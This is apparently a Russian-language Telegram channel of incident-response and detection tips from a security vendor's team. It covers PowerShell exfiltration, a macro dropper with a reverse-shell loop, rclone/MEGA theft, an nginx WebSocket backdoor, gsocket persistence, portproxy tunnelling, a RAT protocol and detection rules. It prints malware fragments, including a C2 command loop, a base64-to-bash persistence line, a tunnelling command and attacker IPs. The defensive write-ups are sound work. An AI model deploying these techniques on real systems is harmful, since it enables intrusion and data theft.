ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
ℹ️ Эксфильтрация с помощью Powershell/C#

В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер 🧐

Необходимая сетевая папка подключается командлетом New-SmbMapping, используются учетные данные, скомпрометированные на одном из предыдущих этапов атаки. После выполняется код на языке C#, определенный внутри PowerShell-скрипта и содержащий основную логику выгрузки файлов.

Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:

размер не превышает 750 000 байт.
последняя модификация файла была не позже чем 130 дней назад.

📑 В процессе перебора информация записывается в %APPDATA%\tree.ini с указанием полного пути к файлам, их размеров в байтах, даты последней модификации и даты последнего доступа к ним.

Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате multipart/form-data частями по 16 384 байта.

В параметр filename передается идентификатор файла, который представляет собой закодированную Base64 строку формата:


fullpath&&last_write_time&&file_size&&host_name&&current_user&&drive_serial_number


После обработки и выгрузки всех файлов на сервер выгружается также и файл tree.ini, после чего удаляется из системы.

🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:

1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке %AppData% от имени процесса powershell.exe. В нашем случае создаются файлы с именами, определенными в коде: tree.ini, profiles_int.ini (БД, в которую записываются хеш-суммы MD5 идентификаторов файлов), sys_error.log и sys_error_ps.log (файлы журналов).

2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса powershell.exe к узлам внутренней сети по порту 445 TCP.

3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом powershell.exe.

4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:


C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove


💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.

👉 SIGMA-правило

IoC:

94.158.247.19


#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
☝️ Помимо журналов Windows, в расследовании активности, описанной в предыдущем посте, нам помог еще один интересный артефакт, предоставляемый популярным средством антивирусной защиты.

Этот артефакт представляет собой базу данных (reports.db), в которой хранятся сведения о работе приложений, в том числе о файлах и веб-ресурсах, с которыми взаимодействовал тот или иной процесс.


{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}



{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"http://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}


Приведенные выше события, полученные после парсинга базы данных одним из наших инструментов, свидетельствуют о факте доступа процесса powershell.exe к документу в сетевой папке и к веб-странице.

🖥 URL, отраженный в поле object.directory, имеет следующий формат:


ip_address/files/upload/guid///WREQ//base64_id//


🧑‍💻 После декодирования из Base64 получим следующую строку:


\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624


Запрос эксфильтрации содержит разделенные двойным амперсандом путь к файлу, дату модификации, размер файла в байтах, имя узла, имя пользователя и серийный номер жесткого диска.

Таким образом, reports.db — прекрасный источник данных, в котором можно найти:

факты применения этого скрипта для эксфильтрации;
перечень выгруженных ресурсов;
учетную запись, под которой велась хакерская активность.

#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
!!р^д**н**c 🤔

Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.

Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.

Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (;; → у ; ** → o ; ?? → a и т. д.), а также извлекает и закрепляет в автозагрузке полезную нагрузку — достаточно простой реверс-шелл — в виде PowerShell-скрипта.

Полезная нагрузка находится в содержимом документа после строки DigitalRSASignature и состоит из двух частей, закодированных в Base64 и разделенных строкой CHECKSUM<part1>CHECKSUM<part2>, которые декодируются и записываются в файлы:

<part1> -> %USERPROFILE%\\UserCache.ini.hta
<part2> -> %USERPROFILE%\\UserCache.ini

UserCache.ini.hta прописывается макросом в автозапуск Windows Explorer через ключ реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LOAD. Назначение данного файла — запустить исполнение файла UserCache.ini.

UserCache.ini представляет собой легковесный реверс-шелл, который использует узел 94.103.85.47 (Vdsina, Moscow) как управляющий сервер. Данный инструмент получает и выполняет набор команд с http://94.103.85.47:80/api/texts/<client_id>, где <client_id> = <имя компьютера>_<имя пользователя>_<серийник тома жесткого диска>.

Команды передаются в формате XML и содержат несколько атрибутов:

CountRuns — сколько раз нужно выполнить команду;
Interval — интервал ожидания в минутах между последовательными выполнениями одной команды;
Module — закодированная в Base64 команда.


...
try {
$Commands = [xml]$Configs;
$cycle_num = 0;

while($true){
$num_commands_completely_executed = 0;
$num_commands_executed = 0;
foreach ($CommandConfig in $Commands.Configs.Config)
{
$num_commands_executed += 1;
$quot = [int][Math]::Floor( $cycle_num / [int]$CommandConfig.Interval);
$rem = [int][Math]::Floor( $cycle_num % [int]$CommandConfig.Interval);

if($quot -lt [int]$Command.CountRuns -and $rem -eq 0){
$command_expr = FromBase64 $CommandConfig.Module;
try{
Invoke-Expression($command_expr);
}
catch {}
}

if(([int]$CommandConfig.Interval * [int]$CommandConfig.CountRuns) -lt [int]$cycle_num){
$num_commands_completely_executed += 1;
}
}

Start-Sleep 60;
if([int]$num_commands_completely_executed -eq [int]$num_commands_executed){
break;
}
$cycle_num += 1;
}
}
catch {}
...


Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.

IoCs:


Постановление_по_ГО_updated.doc
13252199b18d5257a60f57de95d8c6be7d7973df7f957bca8c2f31e15fcc947b



UserCache.ini.hta
e80e0b57cf3f304cb7d6dba4b0bb65da18f4d32770a3d6f3780fdab12d2617c9



UserCache.ini
ccff23a8f7c510b49264cdacf9ab6b43e9be0671670ce2eec75851920e6378b7



94.103.85.47


#malware #news #detect #ti
@ptescalator
😈 Эксфильтрация не по плану

При расследовании инцидентов мы периодически сталкиваемся с эксфильтрацией злоумышленниками данных перед шифрованием инфраструктуры.

Одним из инструментов эксфильтрации может выступать утилита rclone, которая часто используется в связке с MEGA. Хакеры делают выводы и удаляют утилиты после применения.

Тут на помощь приходит журнал USN:


"2024-01-01 00:05:00","rclone.exe","","File_Created","Normal","Archive"...
"2024-01-01 01:01:10","rclone","\Users\<username>\AppData\Roaming\rclone","File_Created","Normal","Directory"...
"2024-01-01 02:01:11","mega.conf","","File_Closed / File_Deleted","Normal","Archive"...
"2024-01-01 02:01:11","rclone.exe","","File_Closed / File_Deleted","Normal","Archive"...


Что полезного мы можем узнать:

факт применения rclone;
дату и время ее использования;
имена файлов (могут быть модифицированы, что является новым индикатором).

🤷‍♂️ Конфиг восстановить не удалось. Что же делать?

В MFT маленькие файлы (несколько сотен байтов) целиком хранятся в соответствующей записи. Учитывая указанную особенность, воспользуемся утилитой MFTECmd с ключом --dr для их восстановления и дальнейшего поиска конфига по паттерну '^(type|pass(word[0-9]?)?) \= '.

Пример содержимого конфигурационного файла:


type = mega
user = evilname@evildomain
pass = qhLeOj9dBRBMCRPptaZA7rghfCkM7b_fsMR0cQ

[mega_crypt]
type = crypt
remote = mega_clear:files
password = v55MNmgFh3qEIfsNA0UtwNaRPYufBOyWNb69pOE
password2 = Ooxh0-uHI2Wb9MrrmPrTgOSsgqUN4QaKwsi0Yt4


Получив информацию об учетной записи, вы можете подать жалобу в MEGA и постараться предотвратить появление данных в публичном доступе.

Бонус

Для распознавания данных в поле pass можно воспользоваться одним из инструментов:

rclone obscure;
песочница Go.

При передаче в облачное хранилище файлы (а также их имена) могут шифроваться. Для решения этой проблемы существует утилита DecodeRclone.

Таким образом, обнаружили:

• факт выгрузки данных;
• время выгрузки;
• учетную запись злодеев;
• перечень утекших данных (для оценки рисков, например);
• аутентификационные данные в «облаке» (для общего развития 🙂).

#tools #detect #tips #dfir
@ptescalator
Путешествие_Извилистых_Троп_манёвры_ExCobalt_в_атаках_на_российские.pdf
11.5 MB
Кстати, про Offzone 🙂

Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝

В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.

Приятного изучения и happy hunting!

#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.


location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}


В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:


proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;


Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:


lsof | grep /var/run/shm/evil.sock


И нашли процесс c PID 18653:


payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock


Далее мы нашли исполняемый файл процесса:


lsof -p 18653 | grep cwd


Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

ловить WebSocket в трафике;
смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
TLS в сети: как быть 🤷‍♂️

Ты — мощный движок разбора сетевого трафика.

Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.

В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.

Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙

«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?

Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:

1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.

Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)

Основные параметры заголовков, которые можно проанализировать:

Версия протокола. Например, SSL 3.0 или TLS 1.0.

Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).

Алгоритмы сжатия.

Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).

Аспекты анализа сертификатов:

Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.

Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).

Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).

🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.

В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).

Например, JA3 a85be79f7b569f1df5e6087b69deb493 однозначно указывает на соединение ВПО Remcos с С2-сервером (скриншот 2).

Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.

Анализ характеристик TCP-сессий

Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.

В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.

Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.

Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯

#detect #malware #network #hunt #tips
@ptescalator
Gsocket: как найти один из самых популярных инструментов 🙂

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.

Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.

🔦 Для обнаружения признаков установки инструмента можно искать следующее:

1️⃣ Сервис с именем D-Bus System Connection Bus:


systemctl | grep "D\-Bus System Connection Bus"


Пример:
EVILSERVICE.service                                                                    loaded active running   D-Bus System Connection Bus


2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:

'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'


egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /


👀 Пример (service-файл):


Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"

[Install]
WantedBy=multi-user.target


👀 Пример (.bashrc):


# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
....


📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.

📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#DFIR #detect #hacktool #tips #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Как пройти в интернет 🚶‍♂️

Что делают хакеры, когда интересующий их сегмент сети не имеет доступа в интернет, а подключиться к C2 очень хочется? Правильно: ищут хосты, которые смотрят в разные подсети, и пытаются пробросить каналы управления через них. Если атакуемая инфраструктура сильно сегментирована, такой канал может проходить через много узлов и принимать причудливые формы.

В одном из недавних кейсов хакеры использовали два метода для проброса канала, условно назовем их «простой» и «сложный».

🤯 Начнем со «сложного»

Злоумышленники обнаружили хост, через который был возможен доступ из одной подсети в другую. Но был нюанс: попасть на этот хост можно было только через RDP (remote desktop — удаленный рабочий стол).

Хакеры нашли решение. На прослушивание порта 3389 они повесили своеобразный сплиттер трафика: настоящий трафик RDP перенаправлялся на порт 33389, а весь остальной трафик на порт 3389 проксировался дальше внутрь соседней подсети. Принадлежность пакета к RDP определялась по первым трем байтам — они должны быть равны 03 00 00.

Настоящую службу RDP хакеры перевесили со стандартного порта 3389 на порт 33389. Таким образом, злоумышленники получили возможность передавать трафик между сегментами, при этом подключающиеся по RDP пользователи не видели никакой разницы.

Присутствие такой утилиты на хосте выдают (помимо, собственно, наличия исполняемого файла на файловой системе) следующие признаки:

1️⃣ Изменение порта RDP на нестандартный (проверить порт можно в свойствах системы или с помощью команды Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber").

2️⃣ Какой-то «левый» процесс слушает порт 3389.

3️⃣ Подключения пользователей по RDP в такой схеме отображаются как исходящие от localhost. На практике мы видели только IP-адрес 127.0.0.1, но не стоит забывать о том, что вообще-то таких адресов целая подсеть, а еще есть варианты вроде ::1 или даже ::%16777216.

Но имейте в виду, что поменять порт RDP мог админ, а подключения с локалхоста могут говорить и о других вещах, например о наличии туннелей 🙂

💆‍♂️ В чем тогда заключался «простой» способ?

В этом варианте злоумышленники для проксирования трафика использовали функциональность Windows под названием Port Proxy.

В самом простом варианте этот инструмент позволяет создать простой маппинг «откуда пришел пакет — куда его отправить». Проще всего показать это на примере:


netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp


После выполнения этой команды хост начинает слушать порт 7000, а входящие TCP-соединения перенаправляет на example.com:443. Более подробно про эти функции можно почитать в документации Microsoft.

Этот метод хорош тем, что не нужно использовать стороннее ПО. Основное ограничение метода заключается в том, что маппинг статичен, то есть позволяет организовать только жестко заданное перенаправление пакетов.

🕵️‍♀️ Как обнаружить использование такого способа

1️⃣ Детектировать запуск команды netsh interface portproxy add (например, в событиях Sysmon 1 или Security 4688).

Детект в MaxPatrol SIEM: Execute_Malicious_Command

2️⃣ По наличию в реестре ключей в ветке [HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\].

Детект в MaxPatrol SIEM: Port_Forwarding_or_Tunneling

3️⃣ По появлению подозрительных слушающих портов или сетевых подключений у службы IpHelper (процесс C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc).

👉 Кстати, в том кейсе злоумышленники умудрились с помощью portproxy построить цепочку длиной в четыре хопа, причем на каждом этапе в проксируемый порт также перенаправлялся трафик от «закладок» на хостах внутри сегмента. Получилось целое «дерево», «корни» которого уходили на сервер C2 в интернете.

Happy hunting!

#Hunt #C2 #Detect #DFIR #SIEM
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Slam screen locker. Что ты такое? ☹️

На очереди — fast malware analysis, проведенный одним воскресным вечером.

В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).

В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.

🏃‍♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.

Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.

• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);

• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);

• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);

• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).

И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.

😃 Самые неприятные и интересные пакости

Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.

Команда: textts*<text_to_speek>.
Действие: text to speech.

Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.

Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.

Команда: BSOD#.
Действие: вызвать синий экран смерти.

А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:


alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)


IOCs


SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42


Happy hunting!

#Hunt #C2 #Tips #IOC #detect #malware #network #suricata

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
📫 X-фильтрация данных пользователя

В процессе анализа почтового трафика мы периодически сталкиваемся с реализацией необычных вредоносных техник. Сегодня хочется рассказать про то, как злоумышленники эксфильтруют полезные данные через X-заголовки писем электронной почты.

В электронных письмах, помимо обязательных заголовков, таких как From, Date и т. п., встречаются заголовки с префиксом X. Они несут в себе дополнительную информацию, например сведения о работе почтовых защитных механизмов, служебные идентификаторы, различные метаданные об отправителе.

Каждый сервис и организация может выставлять свои X-заголовки без явных ограничений, поэтому их количество на данный момент можно исчислять тысячами. Описать и понять содержимое каждого из них — невероятно сложная задача. Этим и пользуются злоумышленники. Они создают собственные X-заголовки и помещают в них закодированные полезные данные, которые надо эксфильтровать.

😠 Например, заголовки такого «необычного» письма могут выглядеть следующим образом:


Received: from SB1P221MB1152.NAMP221.PROD.OUTLOOK.COM
(3613:10b6:806:388::20) by BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM with
HTTPS; Thu, 20 Mar 2024 21:28:15 +0000
...
From: John Doe <[email protected]>
To: John Goe <[email protected]>
Subject: New Test
Date: Thu, 20 Mar 2024 21:28:15 +0000
Accept-Language: en-US
Content-Language: en-US
X-Ms-Exchange-Organization-Authmechanism: 04
X-Ms-Exchange-Organization-Authsource: BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM
X-Ms-Has-Attach: yes
...
X-Entity-ID: WABIHdrtPzUrGNbwVwoPTQ==
X-Trusted-Header: c2VjcmV0X2xvZ2luOnNlY3JldF9wYXNzd29yZA==
X-Ms-Exchange-Organization-Scl: -1


Как видите, в X-заголовках множество разных типов информации: числа, строки, что-то вроде булевых значений, закодированные последовательности и так далее.

Среди них сложно найти тот заголовок, который явно несет угрозу. В данном случае «плохим» оказался заголовок X-Trusted-Header (в нем лежат учетные данные пользователя), который по контенту абсолютно сравним с легитимным X-Entity-ID.

😑 Чтобы не вызывать подозрений у систем защиты почты, злоумышленники также снабжают письмо максимально безобидным текстом, не добавляя при этом подозрительных составляющих по типу html-частей и вложений.

Таким образом получается крайне удобный и скрытый способ эксфильтрации данных для злоумышленников. Такая техника зачастую используется при корпоративном шпионаже, когда инсайдер имеет законный доступ к системам электронной почты. Он может встраивать полезные данные в заголовки, отправляя их под видом обычного делового письма.

Стоит отметить, что у данного способа есть одно основное ограничение — это передача только небольших объемов данных. То есть это хорошо подойдет для эксфильтрации ключей шифрования, учетных данных и тому подобного.

Однако, если злоумышленник попытается передавать таким способом большие блоки данных (например, файлы), то это будет сильно заметно на фоне всего почтового трафика.

😱 Что делать:

1. Внедрить методы анализа содержимого заголовков писем. Лучше всего — c использованием DLP системы.

2. Обращать внимание на необычные X-заголовки в исходящих письмах. Сделать это можно, например, посчитав статистику упоминания таких заголовков за определенный период, где самые неупоминаемые — самые подозрительные.

3. Следить за потоками писем с одинаковым контентом, отправляемых на один адрес.

#Detect #Tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Об обфусцированном батнике замолвите слово...

Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали Serkan_Yalgi.Tar.

📂 Открыть его удалось только с помощью WinRAR и UnRAR на Linux, дефолтный распаковщик Винды и 7-Zip теряются при виде архива, как показано на первом скриншоте (UX этого семпла на очень низком уровне).

Внутри архива находится batch-файл Serkan_Yalgi.cmd, на втором скриншоте представлен фрагмент его содержимого. И такого безобразия там примерно 400 строк, остальные 115 000 строк занимает упомянутый в прошлом посте EXE в Base64.

Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).

Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.

Применим деобфускатор к файлу:



python batch_interpreter.py –file Serkan_Yalgi.cmd


Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).

Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).

Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:


strings:
$subs = /:~\ *(-|\+)?\d{1,2},\ *(-|\+)?\d{1,3}%/
condition:
#subs > 100


Как вам эта информация, мотивирует к переходу на Linux? 🧐

#Detect #Yara
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔 Помните, в паре предыдущих постов мы описывали простые и чуть посложнее подходы к выявлению вредоносов на примере письма, попавшего к нам в SOC, и вложения из него?

Ловите продолжение 👇

Если вдруг подобный вредонос смог пройти все рубежи защиты, попасть на тачку пользователя и начать там работать, не все потеряно!

Вы же обратили внимание, что на первом этапе вредоносный BAT-файл копировал и переименовывал пару системных файлов (cmd.exe и certutil.exe), которые затем использовал?

Выявление такого поведения несложно автоматизировать 😏

Хорошо настроенная служба Microsoft Sysmon позволяет не только журналировать запуск процессов и параметры командной строки, но и фиксировать такие интересные данные из свойств файла, как его оригинальное имя (смотрите скриншоты 1 и 2).

А значит, достаточно просто сравнить значения двух полей в событии, чтобы вовремя выявить использование подобной хакерской техники (она, кстати, называется «Маскировка: Переименование системных утилит»).

